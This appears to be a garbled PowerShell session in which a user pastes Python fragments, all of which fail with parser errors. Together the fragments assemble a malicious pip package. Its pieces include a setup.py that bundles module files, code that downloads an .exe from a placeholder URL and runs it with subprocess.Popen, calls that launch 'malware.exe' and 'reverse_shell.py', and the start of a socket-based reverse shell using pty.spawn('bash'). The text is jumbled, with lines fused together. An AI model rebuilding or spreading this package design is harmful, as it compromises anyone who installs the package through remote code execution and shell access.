Professional Documents
Culture Documents
PS C:\Users\tiwar> python_package/
python_package/ : The term 'python_package/' is not recognized as the
name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the
path is correct and try again.
At line:1 char:1
+ python_package/
+ ~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (python_package/:String)
[], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> )
At line:1 char:1
+ )
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : UnexpectedToken
PS C:\Users\tiwar>
PS C:\Users\tiwar> toExecute = 'https://theurl.com/your_file.exe'
toExecute : The term 'toExecute' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:1
+ toExecute = 'https://theurl.com/your_file.exe'
+ ~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (toExecute:String) [], C
ommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> with requests.get(toExecute, stream=True) as response:
At line:1 char:28
+ with requests.get(toExecute, stream=True) as response:
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar> file.write(chunk)
chunk : The term 'chunk' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:24
+ file.write(chunk)
+ ~~~~~
+ CategoryInfo : ObjectNotFound: (chunk:String) [], Comma
ndNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> subprocess.Popen(tmpFile ,shell=False, close_fds=True)pip
install .
At line:1 char:26
+ subprocess.Popen(tmpFile ,shell=False, close_fds=True)pip install .
+ ~
Missing argument in parameter list.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar>
PS C:\Users\tiwar> python_package
python_package : The term 'python_package' is not recognized as the
name of a cmdlet, function, script file, or operable program. Check
the spelling of the name, or if a path was included, verify that the
path is correct and try again.
At line:1 char:1
+ python_package
+ ~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (python_package:String)
[], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar>
PS C:\Users\tiwar> subprocess.Popen('example_module/malware.exe' ,shell=False,
close_fds=True)python_package
At line:1 char:48
+ subprocess.Popen('example_module/malware.exe' ,shell=False,
close_fds ...
+ ~
Missing expression after ','.
At line:1 char:48
+ subprocess.Popen('example_module/malware.exe' ,shell=False,
close_fds ...
+ ~~~~~~~~~~~
Unexpected token 'shell=False' in expression or statement.
At line:1 char:48
+ subprocess.Popen('example_module/malware.exe' ,shell=False,
close_fds ...
+ ~
Missing closing ')' in expression.
At line:1 char:75
+ ... en('example_module/malware.exe' ,shell=False,
close_fds=True)python_p ...
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingExpressionAfterToken
PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )from setuptools import setup
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar>
PS C:\Users\tiwar> setup(
>> name='package-name',
>> include_package_data=True,
>> package_data={'example_module': ['**/*']},
>> packages=['example_module']
>> )import subprocess
At line:2 char:24
+ name='package-name',
+ ~
Missing argument in parameter list.
At line:4 char:35
+ package_data={'example_module': ['**/*']},
+ ~
Unexpected token ':' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingArgument
PS C:\Users\tiwar> import os
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import os
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> modulePath = os.path.dirname(__file__)
__file__ : The term '__file__' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:30
+ modulePath = os.path.dirname(__file__)
+ ~~~~~~~~
+ CategoryInfo : ObjectNotFound: (__file__:String) [], Co
mmandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> subprocess.Popen([sys.executable,
'example_module/reverse_shell.py'],shell=False, close_fds=True)import subprocess
At line:1 char:70
+ ... ss.Popen([sys.executable,
'example_module/reverse_shell.py'],shell=Fa ...
+ ~
Missing expression after ','.
At line:1 char:70
+ ... ys.executable, 'example_module/reverse_shell.py'],shell=False,
close_ ...
+ ~~~~~~~~~~~
Unexpected token 'shell=False' in expression or statement.
At line:1 char:70
+ ... ss.Popen([sys.executable,
'example_module/reverse_shell.py'],shell=Fa ...
+ ~
Missing closing ')' in expression.
At line:1 char:97
+ ... xample_module/reverse_shell.py'],shell=False,
close_fds=True)import s ...
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingExpressionAfterToken
PS C:\Users\tiwar>
PS C:\Users\tiwar> import os
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import os
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> modulePath = os.path.dirname(__file__)
__file__ : The term '__file__' is not recognized as the name of a
cmdlet, function, script file, or operable program. Check the spelling
of the name, or if a path was included, verify that the path is
correct and try again.
At line:1 char:30
+ modulePath = os.path.dirname(__file__)
+ ~~~~~~~~
+ CategoryInfo : ObjectNotFound: (__file__:String) [], Co
mmandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar> subprocess.Popen([sys.executable,
f'{modulePath}/reverse_shell.py'] ,shell=False, close_fds=True)import sys
At line:1 char:70
+ ... ss.Popen([sys.executable, f'{modulePath}/reverse_shell.py']
,shell=Fa ...
+ ~
Missing expression after ','.
At line:1 char:70
+ ... ys.executable, f'{modulePath}/reverse_shell.py'] ,shell=False,
close_ ...
+ ~~~~~~~~~~~
Unexpected token 'shell=False' in expression or statement.
At line:1 char:70
+ ... ss.Popen([sys.executable, f'{modulePath}/reverse_shell.py']
,shell=Fa ...
+ ~
Missing closing ')' in expression.
At line:1 char:97
+ ... {modulePath}/reverse_shell.py'] ,shell=False,
close_fds=True)import s ...
+ ~
Unexpected token ')' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : MissingExpressionAfterToken
PS C:\Users\tiwar> import os
import : The term 'import' is not recognized as the name of a cmdlet,
function, script file, or operable program. Check the spelling of the
name, or if a path was included, verify that the path is correct and
try again.
At line:1 char:1
+ import os
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (import:String) [], Comm
andNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\tiwar>
PS C:\Users\tiwar> s = socket.socket()
At line:1 char:19
+ s = socket.socket()
+ ~
An expression was expected after '('.
+ CategoryInfo : ParserError: (:) [], ParentContainsError
RecordException
+ FullyQualifiedErrorId : ExpectedExpression
PS C:\Users\tiwar> pty.spawn('bash')